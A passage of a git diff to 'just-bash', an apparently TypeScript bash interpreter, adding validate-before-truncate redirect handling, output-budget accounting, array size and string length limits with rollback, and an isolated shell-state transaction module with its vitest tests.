@@ -348,14 +346,26 @@ export async function preOpenOutputRedirects(
     // Reject paths containing null bytes - these cause filesystem errors
     // and are never valid in bash
     if (filePath.includes("\0")) {
-      return makeResult("", `bash: ${target}: No such file or directory\n`, 1);
+      return {
+        targets: expanded.targets,
+        error: makeResult(
+          "",
+          `bash: ${target}: No such file or directory\n`,
+          1,
+        ),
+      };
     }
 
     // Check if target is a directory or noclobber prevents overwrite
     try {
+      const exists = await ctx.fs.exists(filePath);
+      if (!exists) throw new RedirectTargetDoesNotExist();
       const stat = await ctx.fs.stat(filePath);
       if (stat.isDirectory) {
-        return makeResult("", `bash: ${target}: Is a directory\n`, 1);
+        return {
+          targets: expanded.targets,
+          error: makeResult("", `bash: ${target}: Is a directory\n`, 1),
+        };
       }
       // Check noclobber: if file exists and noclobber is set, refuse to overwrite
       // unless using >| (clobber operator) or writing to /dev/null
@@ -365,36 +375,62 @@ export async function preOpenOutputRedirects(
         !stat.isDirectory &&
         target !== "/dev/null"
       ) {
-        return makeResult(
-          "",
-          `bash: ${target}: cannot overwrite existing file\n`,
-          1,
-        );
+        return {
+          targets: expanded.targets,
+          error: makeResult(
+            "",
+            `bash: ${target}: cannot overwrite existing file\n`,
+            1,
+          ),
+        };
+      }
+    } catch (error) {
+      if (!(error instanceof RedirectTargetDoesNotExist)) {
+        return {
+          targets: expanded.targets,
+          error: makeResult(
+            "",
+            `bash: ${target}: cannot open redirect target\n`,
+            1,
+          ),
+        };
       }
-    } catch {
-      // File doesn't exist, that's ok - we'll create it
     }
 
-    // Pre-truncate the file (create empty file)
-    // This makes the file empty before any command substitutions in the
-    // compound command body are evaluated
-    // Skip special device files that don't need pre-truncation
+    // /dev/full always returns ENOSPC when written to
+    if (target === "/dev/full") {
+      return {
+        targets: expanded.targets,
+        error: makeResult("", `bash: /dev/full: No space left on device\n`, 1),
+      };
+    }
     if (
       target !== "/dev/null" &&
       target !== "/dev/stdout" &&
-      target !== "/dev/stderr" &&
-      target !== "/dev/full"
-    ) {
-      await ctx.fs.writeFile(filePath, "", "binary");
-    }
+      target !== "/dev/stderr"
+    )
+      targetsToOpen.push({ filePath, target });
+  }
 
-    // /dev/full always returns ENOSPC when written to
-    if (target === "/dev/full") {
-      return makeResult("", `bash: /dev/full: No space left on device\n`, 1);
+  // Only begin destructive opens after every target has expanded and passed
+  // policy validation. This prevents a later directory/noclobber failure from
+  // leaving an earlier redirect truncated.
+  for (const { filePath, target } of targetsToOpen) {
+    try {
+      await ctx.fs.writeFile(filePath, "", "binary");
+    } catch {
+      return {
+        targets: expanded.targets,
+        error: makeResult(
+          "",
+          `bash: ${target}: cannot open redirect target\n`,
+          1,
+        ),
+      };
     }
   }
 
-  return null; // Success - no error
+  return { targets: expanded.targets, error: null };
 }
 
 export async function applyRedirections(
@@ -403,6 +439,11 @@ export async function applyRedirections(
   redirections: RedirectionNode[],
   preExpandedTargets?: ExpandedRedirectTargets,
 ): Promise<ExecResult> {
+  // Output redirected away from the caller still consumes the shared budget.
+  // Unredirected pipeline output is charged once at the pipeline boundary.
+  if (redirections.length > 0) {
+    result = ctx.executionScope.accountResult(result, "redirection");
+  }
   let { stdout, stderr, exitCode } = result;
 
   // Determine encoding for stdout writes from the producer's explicit
@@ -948,5 +989,27 @@ export async function applyRedirections(
   if (result.stdoutEncoding === "binary") {
     finalResult.stdoutEncoding = "binary";
   }
+  if (result.internalPipeStatusOverride) {
+    finalResult.internalPipeStatusOverride = result.internalPipeStatusOverride;
+  }
+  const hasOutputRedirection =
+    redirections.length > 0 ||
+    ctx.state.fileDescriptors?.has(1) === true ||
+    ctx.state.fileDescriptors?.has(2) === true;
+  if (hasOutputRedirection) {
+    const priorTotal =
+      (result.internalOutputAccounting?.stdout ?? 0) +
+      (result.internalOutputAccounting?.stderr ?? 0);
+    const finalStdoutBytes = utf8ByteLength(finalResult.stdout);
+    const finalStderrBytes = utf8ByteLength(finalResult.stderr);
+    const inheritedStdout = Math.min(finalStdoutBytes, priorTotal);
+    finalResult.internalOutputAccounting = {
+      stdout: inheritedStdout,
+      stderr: Math.min(finalStderrBytes, priorTotal - inheritedStdout),
+    };
+    ctx.executionScope.accountResult(finalResult, "redirection");
+  } else if (result.internalOutputAccounting) {
+    finalResult.internalOutputAccounting = result.internalOutputAccounting;
+  }
   return finalResult;
 }
diff --git a/packages/just-bash/src/interpreter/simple-command-assignments.ts b/packages/just-bash/src/interpreter/simple-command-assignments.ts
index 9a9192e8..af61a47c 100644
--- a/packages/just-bash/src/interpreter/simple-command-assignments.ts
+++ b/packages/just-bash/src/interpreter/simple-command-assignments.ts
@@ -8,16 +8,14 @@
  */
 
 import type { SimpleCommandNode, WordNode } from "../ast/types.js";
+import { boundedJoin } from "../bounded-builder.js";
 import { parseArithmeticExpression } from "../parser/arithmetic-parser.js";
 import { Parser } from "../parser/parser.js";
 import type { ExecResult } from "../types.js";
 import { evaluateArithmetic } from "./arithmetic.js";
-import {
-  applyCaseTransform,
-  getLocalVarDepth,
-  isInteger,
-} from "./builtins/index.js";
-import { ArithmeticError, ExitError } from "./errors.js";
+import { applyCaseTransform, isInteger } from "./builtins/index.js";
+import { ArithmeticError, ExecutionLimitError, ExitError } from "./errors.js";
+import { applyAssignmentTildeExpansion } from "./expansion/tilde.js";
 import {
   expandWord,
   expandWordWithGlob,
@@ -25,7 +23,12 @@ import {
   isArray,
 } from "./expansion.js";
 import {
+  clearArray,
+  cloneArray,
+  getArray,
+  getArrayElement,
   parseKeyedElementFromWord,
+  setArrayElement,
   wordToLiteralString,
 } from "./helpers/array.js";
 import {
@@ -36,10 +39,22 @@ import {
 } from "./helpers/nameref.js";
 import { checkReadonlyError, isReadonly } from "./helpers/readonly.js";
 import { result } from "./helpers/result.js";
-import { expandTildesInValue } from "./helpers/tilde.js";
 import { traceAssignment } from "./helpers/xtrace.js";
 import type { InterpreterContext } from "./types.js";
 
+function appendAssignmentValue(
+  ctx: InterpreterContext,
+  existing: string,
+  value: string,
+): string {
+  return boundedJoin(
+    [existing, value],
+    "",
+    ctx.limits.maxStringLength,
+    "array assignment",
+  );
+}
+
 /**
  * Result of processing assignments in a simple command
  */
@@ -227,49 +242,59 @@ async function processArrayAssignment(
 
   // Check if this is an associative array
   const isAssoc = ctx.state.associativeArrays?.has(name);
+  const savedArray = getArray(ctx, name);
+  const savedArraySnapshot = savedArray ? cloneArray(savedArray) : undefined;
+  const savedScalar = ctx.state.env.get(name);
+  const restoreTarget = (): void => {
+    ctx.state.arrays ??= new Map();
+    if (savedArraySnapshot) ctx.state.arrays.set(name, savedArraySnapshot);
+    else ctx.state.arrays.delete(name);
+    if (savedScalar === undefined) ctx.state.env.delete(name);
+    else ctx.state.env.set(name, savedScalar);
+  };
 
   // Check if elements use [key]=value or [key]+=value syntax
   const hasKeyedElements = checkHasKeyedElements(array);
 
   // Helper to clear existing array elements
   const clearExistingElements = () => {
-    const prefix = `${name}_`;
-    for (const key of ctx.state.env.keys()) {
-      if (key.startsWith(prefix) && !key.includes("__")) {
-        ctx.state.env.delete(key);
-      }
-    }
+    clearArray(ctx, name);
     ctx.state.env.delete(name);
   };
 
-  if (isAssoc && hasKeyedElements) {
-    await processAssociativeArrayAssignment(
-      ctx,
-      node,
-      name,
-      array,
-      append,
-      clearExistingElements,
-      (msg) => {
-        xtraceOutput += msg;
-      },
-    );
-  } else if (hasKeyedElements) {
-    await processIndexedArrayWithKeysAssignment(
-      ctx,
-      name,
-      array,
-      append,
-      clearExistingElements,
-    );
-  } else {
-    await processSimpleArrayAssignment(
-      ctx,
-      name,
-      array,
-      append,
-      clearExistingElements,
-    );
+  try {
+    if (isAssoc && hasKeyedElements) {
+      await processAssociativeArrayAssignment(
+        ctx,
+        node,
+        name,
+        array,
+        append,
+        clearExistingElements,
+        (msg) => {
+          xtraceOutput += msg;
+        },
+      );
+    } else if (hasKeyedElements) {
+      await processIndexedArrayWithKeysAssignment(
+        ctx,
+        name,
+        array,
+        append,
+        clearExistingElements,
+      );
+    } else {
+      await processSimpleArrayAssignment(
+        ctx,
+        name,
+        array,
+        append,
+        clearExistingElements,
+      );
+    }
+  } catch (error) {
+    restoreTarget();
+    throw error;
   }
 
   // For prefix assignments with a command, bash stringifies the array syntax
@@ -344,6 +369,12 @@ async function processAssociativeArrayAssignment(
 
   // First pass: Expand all values BEFORE clearing the array
   for (const element of array) {
+    if (pendingElements.length >= ctx.limits.maxArrayElements) {
+      throw new ExecutionLimitError(
+        `array element limit exceeded (${ctx.limits.maxArrayElements})`,
+        "array_elements",
+      );
+    }
     const parsed = parseKeyedElementFromWord(element);
     if (parsed) {
       const { key, valueParts, append: elementAppend } = parsed;
@@ -351,10 +382,16 @@ async function processAssociativeArrayAssignment(
       if (valueParts.length > 0) {
         const valueWord: WordNode = { type: "Word", parts: valueParts };
         value = await expandWord(ctx, valueWord);
+        if (
+          valueParts.every(
+            (part) => part.type === "Literal" || part.type === "TildeExpansion",
+          )
+        ) {
+          value = applyAssignmentTildeExpansion(ctx, value);
+        }
       } else {
         value = "";
       }
-      value = expandTildesInValue(ctx, value);
       pendingElements.push({
         type: "keyed",
         key,
@@ -368,6 +405,10 @@ async function processAssociativeArrayAssignment(
   }
 
   // Clear existing elements AFTER all expansion
+  ctx.executionScope.consumeWork(
+    pendingElements.length,
+    "associative array assignment",
+  );
   if (!append) {
     clearExistingElements();
   }
@@ -376,10 +417,16 @@ async function processAssociativeArrayAssignment(
   for (const pending of pendingElements) {
     if (pending.type === "keyed") {
       if (pending.append) {
-        const existing = ctx.state.env.get(`${name}_${pending.key}`) ?? "";
-        ctx.state.env.set(`${name}_${pending.key}`, existing + pending.value);
+        const existing = getArrayElement(ctx, name, pending.key) ?? "";
+        setArrayElement(
+          ctx,
+          name,
+          pending.key,
+          appendAssignmentValue(ctx, existing, pending.value),
+          "associative",
+        );
       } else {
-        ctx.state.env.set(`${name}_${pending.key}`, pending.value);
+        setArrayElement(ctx, name, pending.key, pending.value, "associative");
       }
     } else {
       const lineNum = node.line ?? ctx.state.currentLine ?? 1;
@@ -411,33 +458,58 @@ async function processIndexedArrayWithKeysAssignment(
     values: string[];
   }
   const pendingElements: (PendingElement | PendingNonKeyed)[] = [];
+  let pendingValueCount = 0;
 
   // First pass: Expand all RHS values
   for (const element of array) {
     const parsed = parseKeyedElementFromWord(element);
     if (parsed) {
+      if (pendingValueCount >= ctx.limits.maxArrayElements) {
+        throw new ExecutionLimitError(
+          `array element limit exceeded (${ctx.limits.maxArrayElements})`,
+          "array_elements",
+        );
+      }
       const { key: indexExpr, valueParts, append: elementAppend } = parsed;
       let value: string;
       if (valueParts.length > 0) {
         const valueWord: WordNode = { type: "Word", parts: valueParts };
         value = await expandWord(ctx, valueWord);
+        if (
+          valueParts.every(
+            (part) => part.type === "Literal" || part.type === "TildeExpansion",
+          )
+        ) {
+          value = applyAssignmentTildeExpansion(ctx, value);
+        }
       } else {
         value = "";
       }
-      value = expandTildesInValue(ctx, value);
       pendingElements.push({
         type: "keyed",
         indexExpr,
         value,
         append: elementAppend,
       });
+      pendingValueCount++;
     } else {
       const expanded = await expandWordWithGlob(ctx, element);
+      if (
+        expanded.values.length >
+        ctx.limits.maxArrayElements - pendingValueCount
+      ) {
+        throw new ExecutionLimitError(
+          `array element limit exceeded (${ctx.limits.maxArrayElements})`,
+          "array_elements",
+        );
+      }
       pendingElements.push({ type: "non-keyed", values: expanded.values });
+      pendingValueCount += expanded.values.length;
     }
   }
 
   // Clear existing elements AFTER all RHS expansion
+  ctx.executionScope.consumeWork(pendingValueCount, "indexed array assignment");
   if (!append) {
     clearExistingElements();
   }
@@ -461,15 +533,20 @@ async function processIndexedArrayWithKeysAssignment(
         }
       }
       if (pending.append) {
-        const existing = ctx.state.env.get(`${name}_${index}`) ?? "";
-        ctx.state.env.set(`${name}_${index}`, existing + pending.value);
+        const existing = getArrayElement(ctx, name, index) ?? "";
+        setArrayElement(
+          ctx,
+          name,
+          index,
+          appendAssignmentValue(ctx, existing, pending.value),
+        );
       } else {
-        ctx.state.env.set(`${name}_${index}`, pending.value);
+        setArrayElement(ctx, name, index, pending.value);
       }
       currentIndex = index + 1;
     } else {
       for (const val of pending.values) {
-        ctx.state.env.set(`${name}_${currentIndex++}`, val);
+        setArrayElement(ctx, name, currentIndex++, val);
       }
     }
   }
@@ -488,10 +565,22 @@ async function processSimpleArrayAssignment(
   const allElements: string[] = [];
   for (const element of array) {
     const expanded = await expandWordWithGlob(ctx, element);
-    allElements.push(...expanded.values);
+    for (const value of expanded.values) {
+      if (allElements.length >= ctx.limits.maxArrayElements) {
+        throw new ExecutionLimitError(
+          `array element limit exceeded (${ctx.limits.maxArrayElements})`,
+          "array_elements",
+        );
+      }
+      allElements.push(value);
+    }
   }
 
   let startIndex = 0;
+  ctx.executionScope.consumeWork(
+    allElements.length,
+    "indexed array assignment",
+  );
   if (append) {
     const elements = getArrayElements(ctx, name);
     if (elements.length > 0) {
@@ -502,7 +591,7 @@ async function processSimpleArrayAssignment(
     } else {
       const scalarValue = ctx.state.env.get(name);
       if (scalarValue !== undefined) {
-        ctx.state.env.set(`${name}_0`, scalarValue);
+        setArrayElement(ctx, name, 0, scalarValue);
         ctx.state.env.delete(name);
         startIndex = 1;
       }
@@ -512,10 +601,7 @@ async function processSimpleArrayAssignment(
   }
 
   for (let i = 0; i < allElements.length; i++) {
-    ctx.state.env.set(`${name}_${startIndex + i}`, allElements[i]);
-  }
-  if (!append) {
-    ctx.state.env.set(`${name}__length`, String(allElements.length));
+    setArrayElement(ctx, name, startIndex + i, allElements[i]);
   }
 }
 
@@ -529,7 +615,7 @@ async function processSubscriptAssignment(
   subscriptExpr: string,
   value: string,
   append: boolean,
-  tempAssignments: Map<string, string | undefined>,
+  _tempAssignments: Map<string, string | undefined>,
 ): Promise<SingleAssignmentResult> {
   let resolvedArrayName = arrayName;
 
@@ -564,14 +650,10 @@ async function processSubscriptAssignment(
   }
 
   const isAssoc = ctx.state.associativeArrays?.has(resolvedArrayName);
-  let envKey: string;
+  let elementKey: string;
 
   if (isAssoc) {
-    envKey = await computeAssocArrayEnvKey(
-      ctx,
-      resolvedArrayName,
-      subscriptExpr,
-    );
+    elementKey = await computeAssocArrayKey(ctx, subscriptExpr);
   } else {
     const indexResult = await computeIndexedArrayIndex(
       ctx,
@@ -585,28 +667,29 @@ async function processSubscriptAssignment(
         error: indexResult.error,
       };
     }
-    envKey = `${resolvedArrayName}_${indexResult.index}`;
+    elementKey = String(indexResult.index);
   }
 
-  const finalValue = append ? (ctx.state.env.get(envKey) || "") + value : value;
+  const finalValue = append
+    ? appendAssignmentValue(
+        ctx,
+        getArrayElement(ctx, resolvedArrayName, elementKey) || "",
+        value,
+      )
+    : value;
 
   if (node.name) {
-    tempAssignments.set(envKey, ctx.state.env.get(envKey));
-    ctx.state.env.set(envKey, finalValue);
+    // Array-element prefix assignments are command-temporary in bash. They are
+    // not representable in an exported environment, so leave shell array state
+    // untouched rather than leaking the write into the caller.
   } else {
-    const localDepth = getLocalVarDepth(ctx, resolvedArrayName);
-    if (
-      localDepth !== undefined &&
-      localDepth === ctx.state.callDepth &&
-      ctx.state.localScopes.length > 0
-    ) {
-      const currentScope =
-        ctx.state.localScopes[ctx.state.localScopes.length - 1];
-      if (!currentScope.has(envKey)) {
-        currentScope.set(envKey, ctx.state.env.get(envKey));
-      }
-    }
-    ctx.state.env.set(envKey, finalValue);
+    setArrayElement(
+      ctx,
+      resolvedArrayName,
+      elementKey,
+      finalValue,
+      isAssoc ? "associative" : "indexed",
+    );
   }
 
   return { continueToNext: true, xtraceOutput: "" };
@@ -615,9 +698,8 @@ async function processSubscriptAssignment(
 /**
  * Compute the env key for an associative array subscript
  */
-async function computeAssocArrayEnvKey(
+async function computeAssocArrayKey(
   ctx: InterpreterContext,
-  arrayName: string,
   subscriptExpr: string,
 ): Promise<string> {
   let key: string;
@@ -635,13 +717,13 @@ async function computeAssocArrayEnvKey(
   } else {
     key = subscriptExpr;
   }
-  return `${arrayName}_${key}`;
+  return key;
 }
 
 /**
  * Compute the index for an indexed array subscript
  */
-async function computeIndexedArrayIndex(
+export async function computeIndexedArrayIndex(
   ctx: InterpreterContext,
   arrayName: string,
   subscriptExpr: string,
@@ -664,6 +746,7 @@ async function computeIndexedArrayIndex(
       const arithAst = parseArithmeticExpression(parser, evalExpr);
       index = await evaluateArithmetic(ctx, arithAst.expression, false);
     } catch (e) {
+      if (e instanceof ExitError) throw e;
       if (e instanceof ArithmeticError) {
         const lineNum = ctx.state.currentLine;
         const errorMsg = `bash: line ${lineNum}: ${subscriptExpr}: ${e.message}\n`;
@@ -672,8 +755,15 @@ async function computeIndexedArrayIndex(
         }
         return { index: 0, error: result("", errorMsg, 1) };
       }
-      const varValue = ctx.state.env.get(subscriptExpr);
-      index = varValue ? Number.parseInt(varValue, 10) : 0;
+      const lineNum = ctx.state.currentLine;
+      return {
+        index: 0,
+        error: result(
+          "",
+          `bash: line ${lineNum}: ${arrayName}[${subscriptExpr}]: bad array subscript\n`,
+          1,
+        ),
+      };
     }
     if (Number.isNaN(index)) index = 0;
   }
@@ -786,8 +876,12 @@ async function processScalarAssignment(
       finalValue = "0";
     }
   } else {
-    const appendKey = isArray(ctx, targetName) ? `${targetName}_0` : targetName;
-    finalValue = append ? (ctx.state.env.get(appendKey) || "") + value : value;
+    const current = isArray(ctx, targetName)
+      ? getArrayElement(ctx, targetName, 0)
+      : ctx.state.env.get(targetName);
+    finalValue = append
+      ? appendAssignmentValue(ctx, current || "", value)
+      : value;
   }
 
   finalValue = applyCaseTransform(ctx, targetName, finalValue);
@@ -795,20 +889,24 @@ async function processScalarAssignment(
   xtraceOutput += await traceAssignment(ctx, targetName, finalValue);
 
   // Compute actual env key
-  let actualEnvKey = targetName;
+  let arrayElementKey: string | undefined;
   if (namerefArrayRef) {
-    actualEnvKey = await computeNamerefArrayEnvKey(ctx, namerefArrayRef);
-  } else {
-    if (isArray(ctx, targetName)) {
-      actualEnvKey = `${targetName}_0`;
-    }
+    arrayElementKey = await computeNamerefArrayKey(ctx, namerefArrayRef);
+  } else if (isArray(ctx, targetName)) {
+    arrayElementKey = "0";
   }
 
   if (node.name) {
-    tempAssignments.set(actualEnvKey, ctx.state.env.get(actualEnvKey));
-    ctx.state.env.set(actualEnvKey, finalValue);
+    if (arrayElementKey === undefined) {
+      tempAssignments.set(targetName, ctx.state.env.get(targetName));
+      ctx.state.env.set(targetName, finalValue);
+    } else {
+      // See processSubscriptAssignment: do not leak array-element prefix writes.
+    }
   } else {
-    ctx.state.env.set(actualEnvKey, finalValue);
+    if (arrayElementKey === undefined)
+      ctx.state.env.set(targetName, finalValue);
+    else setArrayElement(ctx, targetName, arrayElementKey, finalValue);
     if (ctx.state.options.allexport) {
       ctx.state.exportedVars = ctx.state.exportedVars || new Set();
       ctx.state.exportedVars.add(targetName);
@@ -825,7 +923,7 @@ async function processScalarAssignment(
 /**
  * Compute the env key for a nameref pointing to an array element
  */
-async function computeNamerefArrayEnvKey(
+async function computeNamerefArrayKey(
   ctx: InterpreterContext,
   namerefArrayRef: { arrayName: string; subscriptExpr: string },
 ): Promise<string> {
@@ -833,7 +931,7 @@ async function computeNamerefArrayEnvKey(
   const isAssoc = ctx.state.associativeArrays?.has(arrayName);
 
   if (isAssoc) {
-    return computeAssocArrayEnvKey(ctx, arrayName, subscriptExpr);
+    return computeAssocArrayKey(ctx, subscriptExpr);
   }
 
   let index: number;
@@ -859,5 +957,5 @@ async function computeNamerefArrayEnvKey(
     }
   }
 
-  return `${arrayName}_${index}`;
+  return String(index);
 }
diff --git a/packages/just-bash/src/interpreter/state-transaction.test.ts b/packages/just-bash/src/interpreter/state-transaction.test.ts
new file mode 100644
index 00000000..1a3ec3f8
--- /dev/null
+++ b/packages/just-bash/src/interpreter/state-transaction.test.ts
@@ -0,0 +1,68 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+
+describe("isolated shell-state transaction", () => {
+  it("restores every mutable namespace changed by a PATH script", async () => {
+    const bash = new Bash({
+      env: { PATH: "/bin" },
+      files: {
+        "/tmp/.keep": "",
+        "/bin/mutate": [
+          "value=child",
+          "items[0]=child",
+          "declare -n childref=value",
+          "readonly childonly=1",
+          "declare -i number=7",
+          "declare -l lower=MIXED",
+          "declare -u upper=mixed",
+          "export childexport=1",
+          "complete -W 'child words' tool",
+          "childfn() { echo child; }",
+          "shopt -s nullglob",
+          "cd /tmp",
+        ].join("\n"),
+      },
+    });
+
+    const result = await bash.exec(
+      [
+        "value=parent",
+        "items[0]=parent",
+        "complete -W 'parent words' tool",
+        "chmod +x /bin/mutate",
+        "mutate",
+        'printf \'%s|%s|%s|\' "$value" "${items[0]}" "$PWD"',
+        "complete -p tool",
+        "declare -p childref childonly number lower upper childexport 2>/dev/null || true",
+        "type childfn 2>/dev/null || true",
+        "shopt -q nullglob; echo $?",
+      ].join("; "),
+    );
+
+    expect(result.stdout).toBe(
+      "parent|parent|/|complete -W 'parent words' tool\n1\n",
+    );
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+
+  it("rolls back state when a PATH script exits early", async () => {
+    const bash = new Bash({
+      env: { PATH: "/bin" },
+      files: {
+        "/bin/stop": "value=child; declare -A leaked=([x]=y); exit 17",
+      },
+    });
+
+    const result = await bash.exec(
+      'value=parent; chmod +x /bin/stop; stop; printf \'%s|%s|%s\' "$?" "$value" "${leaked[x]}"',
+    );
+
+    expect(result.stdout).toBe("17|parent|");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+    const after = await bash.exec('printf \'%s|%s\' "$value" "${leaked[x]}"');
+    expect(after.stdout).toBe("|");
+    expect(after.stderr).toBe("");
+  });
+});
diff --git a/packages/just-bash/src/interpreter/state-transaction.ts b/packages/just-bash/src/interpreter/state-transaction.ts
new file mode 100644
index 00000000..43e4b6a4
--- /dev/null
+++ b/packages/just-bash/src/interpreter/state-transaction.ts
@@ -0,0 +1,183 @@
+import { cloneArrays } from "./helpers/array.js";
+import type { CompletionSpec, InterpreterState, ShellArray } from "./types.js";
+
+function cloneCompletionSpec(
+  spec: CompletionSpec | undefined,
+): CompletionSpec | undefined {
+  return spec
+    ? {
+        ...spec,
+        options: spec.options ? [...spec.options] : undefined,
+        actions: spec.actions ? [...spec.actions] : undefined,
+      }
+    : undefined;
+}
+
+function cloneCompletionSpecs(
+  specs: Map<string, CompletionSpec> | undefined,
+): Map<string, CompletionSpec> | undefined {
+  return specs
+    ? new Map(
+        Array.from(specs, ([name, spec]) => [
+          name,
+          cloneCompletionSpec(spec) as CompletionSpec,
+        ]),
+      )
+    : undefined;
+}
+
+function cloneLocalArrayScopes(
+  scopes: Map<string, ShellArray | undefined>[] | undefined,
+): Map<string, ShellArray | undefined>[] | undefined {
+  return scopes?.map(
+    (scope) =>
+      new Map(
+        Array.from(scope, ([name, array]) => [
+          name,
+          array
+            ? { kind: array.kind, elements: new Map(array.elements) }
+            : undefined,
+        ]),
+      ),
+  );
+}
+
+function cloneLocalVarStack(
+  stack:
+    | Map<string, Array<{ value: string | undefined; scopeIndex: number }>>
+    | undefined,
+): typeof stack {
+  return stack
+    ? new Map(
+        Array.from(stack, ([name, entries]) => [
+          name,
+          entries.map((entry) => ({ ...entry })),
+        ]),
+      )
+    : undefined;
+}
+
+/**
+ * Install an isolated copy of mutable shell namespace state and return an
+ * idempotent rollback. Process-wide accounting and PID allocation deliberately
+ * remain shared with the parent execution.
+ */
+export function beginIsolatedShellState(state: InterpreterState): () => void {
+  const saved = {
+    env: state.env,
+    arrays: state.arrays,
+    cwd: state.cwd,
+    previousDir: state.previousDir,
+    lastExitCode: state.lastExitCode,
+    lastArg: state.lastArg,
+    currentLine: state.currentLine,
+    options: state.options,
+    shoptOptions: state.shoptOptions,
+    fileDescriptors: state.fileDescriptors,
+    nextFd: state.nextFd,
+    readonlyVars: state.readonlyVars,
+    associativeArrays: state.associativeArrays,
+    namerefs: state.namerefs,
+    boundNamerefs: state.boundNamerefs,
+    invalidNamerefs: state.invalidNamerefs,
+    integerVars: state.integerVars,
+    lowercaseVars: state.lowercaseVars,
+    uppercaseVars: state.uppercaseVars,
+    exportedVars: state.exportedVars,
+    tempExportedVars: state.tempExportedVars,
+    localExportedVars: state.localExportedVars,
+    declaredVars: state.declaredVars,
+    localScopes: state.localScopes,
+    localArrayScopes: state.localArrayScopes,
+    localVarDepth: state.localVarDepth,
+    localVarStack: state.localVarStack,
+    fullyUnsetLocals: state.fullyUnsetLocals,
+    tempEnvBindings: state.tempEnvBindings,
+    mutatedTempEnvVars: state.mutatedTempEnvVars,
+    accessedTempEnvVars: state.accessedTempEnvVars,
+    functions: state.functions,
+    callDepth: state.callDepth,
+    sourceDepth: state.sourceDepth,
+    callLineStack: state.callLineStack,
+    funcNameStack: state.funcNameStack,
+    sourceStack: state.sourceStack,
+    currentSource: state.currentSource,
+    inCondition: state.inCondition,
+    loopDepth: state.loopDepth,
+    parentHasLoopContext: state.parentHasLoopContext,
+    errexitSafe: state.errexitSafe,
+    directoryStack: state.directoryStack,
+    hashTable: state.hashTable,
+    completionSpecs: state.completionSpecs,
+    defaultCompletionSpec: state.defaultCompletionSpec,
+    emptyCompletionSpec: state.emptyCompletionSpec,
+    groupStdin: state.groupStdin,
+    bashPid: state.bashPid,
+    expansionExitCode: state.expansionExitCode,
+    expansionStderr: state.expansionStderr,
+  };
+
+  state.env = new Map(state.env);
+  state.arrays = cloneArrays(state.arrays);
+  state.options = { ...state.options };
+  state.shoptOptions = { ...state.shoptOptions };
+  state.fileDescriptors = state.fileDescriptors
+    ? new Map(state.fileDescriptors)
+    : undefined;
+  state.readonlyVars = new Set(state.readonlyVars);
+  state.associativeArrays = new Set(state.associativeArrays);
+  state.namerefs = new Set(state.namerefs);
+  state.boundNamerefs = new Set(state.boundNamerefs);
+  state.invalidNamerefs = new Set(state.invalidNamerefs);
+  state.integerVars = new Set(state.integerVars);
+  state.lowercaseVars = new Set(state.lowercaseVars);
+  state.uppercaseVars = new Set(state.uppercaseVars);
+  state.exportedVars = new Set(state.exportedVars);
+  state.tempExportedVars = new Set(state.tempExportedVars);
+  state.localExportedVars = state.localExportedVars?.map(
+    (vars) => new Set(vars),
+  );
+  state.declaredVars = new Set(state.declaredVars);
+  state.localScopes = state.localScopes.map((scope) => new Map(scope));
+  state.localArrayScopes = cloneLocalArrayScopes(state.localArrayScopes);
+  state.localVarDepth = state.localVarDepth
+    ? new Map(state.localVarDepth)
+    : undefined;
+  state.localVarStack = cloneLocalVarStack(state.localVarStack);
+  state.fullyUnsetLocals = state.fullyUnsetLocals
+    ? new Map(state.fullyUnsetLocals)
+    : undefined;
+  state.tempEnvBindings = state.tempEnvBindings?.map(
+    (bindings) => new Map(bindings),
+  );
+  state.mutatedTempEnvVars = state.mutatedTempEnvVars
+    ? new Set(state.mutatedTempEnvVars)
+    : undefined;
+  state.accessedTempEnvVars = state.accessedTempEnvVars
+    ? new Set(state.accessedTempEnvVars)
+    : undefined;
+  state.functions = new Map(state.functions);
+  state.callLineStack = state.callLineStack
+    ? [...state.callLineStack]
+    : undefined;
+  state.funcNameStack = state.funcNameStack
+    ? [...state.funcNameStack]
+    : undefined;
+  state.sourceStack = state.sourceStack ? [...state.sourceStack] : undefined;
+  state.directoryStack = state.directoryStack
+    ? [...state.directoryStack]
+    : undefined;
+  state.hashTable = state.hashTable ? new Map(state.hashTable) : undefined;
+  state.completionSpecs = cloneCompletionSpecs(state.completionSpecs);
+  state.defaultCompletionSpec = cloneCompletionSpec(
+    state.defaultCompletionSpec,
+  );
+  state.emptyCompletionSpec = cloneCompletionSpec(state.emptyCompletionSpec);
+
+  let restored = false;
+  return () => {
+    if (restored) return;
+    restored = true;
+    Object.assign(state, saved);
+  };
+}
diff --git a/packages/just-bash/src/interpreter/subshell-group.ts b/packages/just-bash/src/interpreter/subshell-group.ts
index b334adc1..df418eca 100644
--- a/packages/just-bash/src/interpreter/subshell-group.ts
+++ b/packages/just-bash/src/interpreter/subshell-group.ts
@@ -10,8 +10,8 @@ import type {
   ScriptNode,
   StatementNode,
   SubshellNode,
-  WordNode,
 } from "../ast/types.js";
+import { ExecutionOutputAccumulator } from "../execution-output.js";
 import { Parser } from "../parser/parser.js";
 import type { ParseException } from "../parser/types.js";
 import type { ExecResult } from "../types.js";
@@ -33,6 +33,7 @@ import {
   preOpenOutputRedirects,
   processFdVariableRedirections,
 } from "./redirections.js";
+import { beginIsolatedShellState } from "./state-transaction.js";
 import type { InterpreterContext } from "./types.js";
 
 /**
@@ -53,160 +54,173 @@ export async function executeSubshell(
   // Pre-open output redirects to truncate files BEFORE executing body
   // This matches bash behavior where redirect files are opened before
   // any command substitutions in the subshell body are evaluated
-  const preOpenError = await preOpenOutputRedirects(ctx, node.redirections);
-  if (preOpenError) {
-    return preOpenError;
-  }
-
-  const savedEnv = new Map(ctx.state.env);
-  const savedCwd = ctx.state.cwd;
-  // Save options so subshell changes (like set -e) don't affect parent
-  const savedOptions = { ...ctx.state.options };
-
-  // Save functions so subshell definitions don't leak to parent
-  // This is critical for proper subshell isolation - in real bash, function
-  // definitions inside (...) are isolated and don't affect the parent shell
-  // Note: Aliases are stored in env with BASH_ALIAS_ prefix, so they're
-  // already isolated via savedEnv
-  const savedFunctions = new Map(ctx.state.functions);
-
-  // Save local variable scoping state for subshell isolation
-  // Subshell gets a copy of these, but changes don't affect parent
-  const savedLocalScopes = ctx.state.localScopes;
-  const savedLocalVarStack = ctx.state.localVarStack;
-  const savedLocalVarDepth = ctx.state.localVarDepth;
-  const savedFullyUnsetLocals = ctx.state.fullyUnsetLocals;
-
-  // Deep copy the local scoping structures for the subshell
